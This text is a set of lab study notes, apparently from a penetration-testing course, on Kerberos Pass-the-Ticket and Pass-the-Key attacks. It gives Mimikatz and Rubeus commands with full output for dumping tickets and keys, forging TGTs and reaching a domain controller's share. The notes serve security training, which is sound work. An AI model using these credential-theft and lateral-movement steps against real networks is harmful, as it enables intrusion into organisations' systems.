Active Directory.
Use the stolen Kerberos ticket to move laterally instead of using NTLM hash for it.
Kerberos
TGT
: Ticket Granting Ticket, first ticket obtained on Kerberos system. Grants the permission to obtain TGS.TGS
: Ticket Granting Service, requested by users who want to use a service. Allows the services to verify user’s identity.
For example, user wants to access MSSQL DB:
- Request TGT
- Receives TGT
- Request TGS to KDC, presenting TGT
- Receives TGS for MSSQL DB access.
For PtT attack, attacker either needs TGS or TGT.
Needs a local administrator privilege as well to harvest Kerberos ticket.
Mimikatz
sekurlsa::tickets /export
exports list of files with extension .kirbi
, which contains the tickets.
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 329278 (00000000:0005063e)
Session : Network from 0
User Name : DC01$
Domain : HTB
Logon Server : (null)
Logon Time : 7/12/2022 9:39:55 AM
SID : S-1-5-18
* Username : DC01$
* Domain : inlanefreight.htb
* Password : (null)
Group 0 - Ticket Granting Service
Group 1 - Client Ticket ?
[00000000]
Start/End/MaxRenew: 7/12/2022 9:39:55 AM ; 7/12/2022 7:39:54 PM ;
Service Name (02) : LDAP ; DC01.inlanefreight.htb ; inlanefreight.htb ; @ inlanefreight.htb
Target Name (--) : @ inlanefreight.htb
Client Name (01) : DC01$ ; @ inlanefreight.htb
Flags 40a50000 : name_canonicalize ; ok_as_delegate ; pre_authent ; renewable ; forwardable ;
Session Key : 0x00000012 - aes256_hmac
31cfa427a01e10f6e09492f2e8ddf7f74c79a5ef6b725569e19d614a35a69c07
Ticket : 0x00000012 - aes256_hmac ; kvno = 5 [...]
* Saved to file [0;5063e]-1-0-40a50000-DC01$@LDAP-DC01.inlanefreight.htb.kirbi !
Group 2 - Ticket Granting Ticket
<SNIP>
mimikatz # exit
Bye!
c:\tools> dir *.kirbi
Directory: c:\tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
<SNIP>
-a---- 7/12/2022 9:44 AM 1445 [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
-a---- 7/12/2022 9:44 AM 1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi
<SNIP>
Rubeus
c:\tools> Rubeus.exe dump /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
Action: Dump Kerberos Ticket Data (All Users)
[*] Current LUID : 0x6c680
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : DC01$
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 9:39:54 AM
EndTime : 7/12/2022 7:39:54 PM
RenewTill : 7/19/2022 9:39:54 AM
Flags : name_canonicalize, pre_authent, renewable, forwarded, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : KWBMpM4BjenjTniwH0xw8FhvbFSf+SBVZJJcWgUKi3w=
Base64EncodedTicket :
doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lhggPlMIID4aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggOvMIIDq6ADAgESoQMCAQKiggOdBIIDmUE/AWlM6VlpGv+Gfvn6bHXrpRjRbsgcw9beSqS2ihO+FY/2Rr0g0iHowOYOgn7EBV3JYEDTNZS2ErKNLVOh0/TczLexQk+bKTMh55oNNQDVzmarvzByKYC0XRTjb1jPuVz4exraxGEBTgJYUunCy/R5agIa6xuuGUvXL+6AbHLvMb+ObdU7Dyn9eXruBscIBX5k3D3S5sNuEnm1sHVsGuDBAN5Ko6kZQRTx22A+lZZD12ymv9rh8S41z0+pfINdXx/VQAxYRL5QKdjbndchgpJro4mdzuEiu8wYOxbpJdzMANSSQiep+wOTUMgimcHCCCrhXdyR7VQoRjjdmTrKbPVGltBOAWQOrFs6YK1OdxBles1GEibRnaoT9qwEmXOa4ICzhjHgph36TQIwoRC+zjPMZl9lf+qtpuOQK86aG7Uwv7eyxwSa1/H0mi5B+un2xKaRmj/mZHXPdT7B5Ruwct93F2zQQ1mKIH0qLZO1Zv/G0IrycXxoE5MxMLERhbPl4Vx1XZGJk2a3m8BmsSZJt/++rw7YE/vmQiW6FZBO/2uzMgPJK9xI8kaJvTOmfJQwVlJslsjY2RAVGly1B0Y80UjeN8iVmKCk3Jvz4QUCLK2zZPWKCn+qMTtvXBqx80VH1hyS8FwU3oh90IqNS1VFbDjZdEQpBGCE/mrbQ2E/rGDKyGvIZfCo7t+kuaCivnY8TTPFszVMKTDSZ2WhFtO2fipId+shPjk3RLI89BT4+TDzGYKU2ipkXm5cEUnNis4znYVjGSIKhtrHltnBO3d1pw402xVJ5lbT+yJpzcEc5N7xBkymYLHAbM9DnDpJ963RN/0FcZDusDdorHA1DxNUCHQgvK17iametKsz6Vgw0zVySsPp/wZ/tssglp5UU6in1Bq91hA2c35l8M1oGkCqiQrfY8x3GNpMPixwBdd2OU1xwn/gaon2fpWEPFzKgDRtKe1FfTjoEySGr38QSs1+JkVk0HTRUbx9Nnq6w3W+D1p+FSCRZyCF/H1ahT9o0IRkFiOj0Cud5wyyEDom08wOmgwxK0D/0aisBTRzmZrSfG7Kjm9/yNmLB5va1yD3IyFiMreZZ2WRpNyK0G6L4H7NBZPcxIgE/Cxx/KduYTPnBDvwb6uUDMcZR83lVAQ5NyHHaHUOjoWsawHraI4uYgmCqXYN7yYmJPKNDI290GMbn1zIPSSL82V3hRbOO8CZNP/f64haRlR63GJBGaOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oCswKaADAgESoSIEIClgTKTOAY3p4054sB9McPBYb2xUn/kgVWSSXFoFCot8oQkbB0hUQi5DT02iEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIyMDcxMjEzMzk1NFqmERgPMjAyMjA3MTIyMzM5NTRapxEYDzIwMjIwNzE5MTMzOTU0WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdIVEIuQ09N
UserName : plaintext
Domain : HTB
LogonId : 0x6c680
UserSID : S-1-5-21-228825152-3134732153-3833540767-1107
AuthenticationPackage : Kerberos
LogonType : Interactive
LogonTime : 7/12/2022 9:42:15 AM
LogonServer : DC01
LogonServerDNSDomain : inlanefreight.htb
UserPrincipalName : plaintext@inlanefreight.htb
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 9:42:15 AM
EndTime : 7/12/2022 7:42:15 PM
RenewTill : 7/19/2022 9:42:15 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : 2NN3wdC4FfpQunUUgK+MZO8f20xtXF0dbmIagWP0Uu0=
Base64EncodedTicket :
doIE9jCCBPKgAwIBBaEDAgEWooIECTCCBAVhggQBMIID/aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggPLMIIDx6ADAgESoQMCAQKiggO5BIIDtc6ptErl3sAxJsqVTkV84/IcqkpopGPYMWzPcXaZgPK9hL0579FGJEBXX+Ae90rOcpbrbErMr52WEVa/E2vVsf37546ScP0+9LLgwOAoLLkmXAUqP4zJw47nFjbZQ3PHs+vt6LI1UnGZoaUNcn1xI7VasrDoFakj/ZH+GZ7EjgpBQFDZy0acNL8cK0AIBIe8fBF5K7gDPQugXaB6diwoVzaO/E/p8m3t35CR1PqutI5SiPUNim0s/snipaQnyuAZzOqFmhwPPujdwOtm1jvrmKV1zKcEo2CrMb5xmdoVkSn4L6AlX328K0+OUILS5GOe2gX6Tv1zw1F9ANtEZF6FfUk9A6E0dc/OznzApNlRqnJ0dq45mD643HbewZTV8YKS/lUovZ6WsjsyOy6UGKj+qF8WsOK1YsO0rW4ebWJOnrtZoJXryXYDf+mZ43yKcS10etHsq1B2/XejadVr1ZY7HKoZKi3gOx3ghk8foGPfWE6kLmwWnT16COWVI69D9pnxjHVXKbB5BpQWAFUtEGNlj7zzWTPEtZMVGeTQOZ0FfWPRS+EgLmxUc47GSVON7jhOTx3KJDmE7WHGsYzkWtKFxKEWMNxIC03P7r9seEo5RjS/WLant4FCPI+0S/tasTp6GGP30lbZT31WQER49KmSC75jnfT/9lXMVPHsA3VGG2uwGXbq1H8UkiR0ltyD99zDVTmYZ1aP4y63F3Av9cg3dTnz60hNb7H+AFtfCjHGWdwpf9HZ0u0HlBHSA7pYADoJ9+ioDghL+cqzPn96VyDcqbauwX/FqC/udT+cgmkYFzSIzDhZv6EQmjUL4b2DFL/Mh8BfHnFCHLJdAVRdHlLEEl1MdK9/089O06kD3qlE6s4hewHwqDy39ORxAHHQBFPU211nhuU4Jofb97d7tYxn8f8c5WxZmk1nPILyAI8u9z0nbOVbdZdNtBg5sEX+IRYyY7o0z9hWJXpDPuk0ksDgDckPWtFvVqX6Cd05yP2OdbNEeWns9JV2D5zdS7Q8UMhVo7z4GlFhT/eOopfPc0bxLoOv7y4fvwhkFh/9LfKu6MLFneNff0Duzjv9DQOFd1oGEnA4MblzOcBscoH7CuscQQ8F5xUCf72BVY5mShq8S89FG9GtYotmEUe/j+Zk6QlGYVGcnNcDxIRRuyI1qJZxCLzKnL1xcKBF4RblLcUtkYDT+mZlCSvwWgpieq1VpQg42Cjhxz/+xVW4Vm7cBwpMc77Yd1+QFv0wBAq5BHvPJI4hCVPs7QejgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmgAwIBEqEiBCDY03fB0LgV+lC6dRSAr4xk7x/bTG1cXR1uYhqBY/RS7aEJGwdIVEIuQ09NohYwFKADAgEBoQ0wCxsJcGxhaW50ZXh0owcDBQBA4QAApREYDzIwMjIwNzEyMTM0MjE1WqYRGA8yMDIyMDcxMjIzNDIxNVqnERgPMjAyMjA3MTkxMzQyMTVaqAkbB0hUQi5DT02pHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT00=
<SNIP>
Pass the Key
PtK converts a hash/key for a domain joined user into a full TGT.
To create these fake tickets, we need user’s hash.
We can use Mimikatz sekurlsa::ekeys
to dump all users Kerberos encryption keys.
Mimikatz - Extract Kerberos Keys
We can have access to AES256_HMAC and RC4_HMAC keys as such:
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::ekeys
<SNIP>
Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session : Interactive from 1
User Name : plaintext
Domain : HTB
Logon Server : DC01
Logon Time : 7/12/2022 9:42:15 AM
SID : S-1-5-21-228825152-3134732153-3833540767-1107
* Username : plaintext
* Domain : inlanefreight.htb
* Password : (null)
* Key List :
aes256_hmac b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
rc4_hmac_nt 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_md4 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_nt_exp 3f74aa8f08f712f09cd5177b5c1ce50f
rc4_hmac_old_exp 3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>
Now we are ready for PtH attack using Mimikatz and Rubeus.
Mimikatz - PtH
Below will create a new cmd.exe windows that we can use to access any service we want in the context of the target user.
c:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f
user : plaintext
domain : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM : 3f74aa8f08f712f09cd5177b5c1ce50f
| PID 1128
| TID 3268
| LSA Process is now R/W
| LUID 0 ; 3414364 (00000000:0034195c)
\_ msv1_0 - data copy @ 000001C7DBC0B630 : OK !
\_ kerberos - data copy @ 000001C7E20EE578
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 000001C7E2136BC8 (32) -> null
Rubeus - PtK
We can use module asktgt
.
c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 11:28:26 AM
EndTime : 7/12/2022 9:28:26 PM
RenewTill : 7/19/2022 11:28:26 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : 0TOKzUHdgBQKMk8+xmOV2w==
PtT
With the Kerberos tickets obtained from the method above, we can go do PtT.
c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKh
EzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpcGX6rbUlYxOWeMmu/zb
f7vGgDj/g+P5zzLbr+XTIPG0kI2WCOlAFCQqz84yQd6IRcEeGjG4YX/9ezJogYNtiLnY6YPkqlQaG1Nn
pAQBZMIhs01EH62hJR7W5XN57Tm0OLF6OFPWAXncUNaM4/aeoAkLQHZurQlZFDtPrypkwNFQ0pI60NP2
9H98JGtKKQ9PQWnMXY7Fc/5j1nXAMVj+Q5Uu5mKGTtqHnJcsjh6waE3Vnm77PMilL1OvH3Om1bXKNNan
JNCgb4E9ms2XhO0XiOFv1h4P0MBEOmMJ9gHnsh4Yh1HyYkU+e0H7oywRqTcsIg1qadE+gIhTcR31M5mX
5TkMCoPmyEIk2MpO8SwxdGYaye+lTZc55uW1Q8u8qrgHKZoKWk/M1DCvUR4v6dg114UEUhp7WwhbCEtg
5jvfr4BJmcOhhKIUDxyYsT3k59RUzzx7PRmlpS0zNNxqHj33yAjm79ECEc+5k4bNZBpS2gJeITWfcQOp
lQ08ZKfZw3R3TWxqca4eP9Xtqlqv9SK5kbbnuuWIPV2/QHi3deB2TFvQp9CSLuvkC+4oNVg3VVR4bQ1P
fU0+SPvL80fP7ZbmJrMan1NzLqit2t7MPEImxum049nUbFNSH6D57RoPAaGvSHePEwbqIDTghCJMic2X
c7YJeb7y7yTYofA4WXC2f1MfixEEBIqtk/drhqJAVXz/WY9r/sWWj6dw9eEhmj/tVpPG2o1WBuRFV72K
Qp3QMwJjPEKVYVK9f+uahPXQJSQ7uvTgfj3N5m48YBDuZEJUJ52vQgEctNrDEUP6wlCU5M0DLAnHrVl4
Qy0qURQa4nmr1aPlKX8rFd/3axl83HTPqxg/b2CW2YSgEUQUe4SqqQgRlQ0PDImWUB4RHt+cH6D563n4
PN+yqN20T9YwQMTEIWi7mT3kq8JdCG2qtHp/j2XNuqKyf7FjUs5z4GoIS6mp/3U/kdjVHonq5TqyAWxU
wzVSa4hlVgbMq5dElbikynyR8maYftQk+AS/xYby0UeQweffDOnCixJ9p7fbPu0Sh2QWbaOYvaeKiG+A
GhUAUi5WiQMDSf8EG8vgU2gXggt2Slr948fy7vhROp/CQVFLHwl5/kGjRHRdVj4E+Zwwxl/3IQAU0+ag
GrHDlWUe3G66NrR/Jg8zXhiWEiViMd5qPC2JTW1ronEPHZFevsU0pVK+MDLYc3zKdfn0q0a3ys9DLoYJ
8zNLBL3xqHY9lNe6YiiAzPG+Q6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEX
oRIEED0RtMDJnODs5w89WCAI3bChCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUA
QOEAAKURGA8yMDIyMDcxMjE2Mjc0N1qmERgPMjAyMjA3MTMwMjI3NDdapxEYDzIwMjIwNzE5MTYyNzQ3
WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
[+] Ticket successfully imported!
ServiceName : krbtgt/inlanefreight.htb
ServiceRealm : inlanefreight.htb
UserName : plaintext
UserRealm : inlanefreight.htb
StartTime : 7/12/2022 12:27:47 PM
EndTime : 7/12/2022 10:27:47 PM
RenewTill : 7/19/2022 12:27:47 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : PRG0wMmc4OznDz1YIAjdsA==
Now import the ticket into the current session using .kirbi file from the the disk.
c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.5.0
[*] Action: Import Ticket
[+] ticket successfully imported!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>
We can PtT using mimikatz as well:
C:\tools> mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 Aug 6 2020 14:53:43
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # privilege::debug
Privilege '20' OK
mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"
* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/4/2022 11:17 AM Program Files
d----- 6/4/2022 11:17 AM Program Files (x86)
<SNIP>